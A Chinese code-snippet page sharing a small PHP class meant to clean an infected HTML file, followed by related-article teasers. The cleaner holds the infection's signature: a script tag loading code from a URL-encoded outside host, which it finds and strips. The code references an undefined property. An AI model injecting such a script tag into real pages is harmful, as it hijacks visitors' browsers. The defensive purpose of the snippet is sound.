php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP Memcached应用实现代码

PHP Memcached应用实现代码

肖理达 (KrazyNio AT hotmail.com), 2006.04. 06, 转载请注明出处 一、memcached 简介 在很多场合,我们都会听到 memcached 这个名...

php图片上传存储源码并且可以预览

复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); $uptypes=array('image/...

php轻松实现文件上传功能

本文分为五个部分针对php上传文件进行分析讲解,具体内容如下 文件上传变量 将服务器上的临时文件移动到指定目录下 php.ini上传相关配置 error错误号 单文...

PHP实现事件机制的方法

本文实例讲述了PHP实现事件机制的方法。分享给大家供大家参考。具体如下: <?php /** * 事件 */ class Event { private $callb...

php visitFile()遍历指定文件夹函数

注:visitFile()有少量修改 复制代码 代码如下: <? // 查看指定文件夹的文件 $fileList = array(); function visitFile($pa...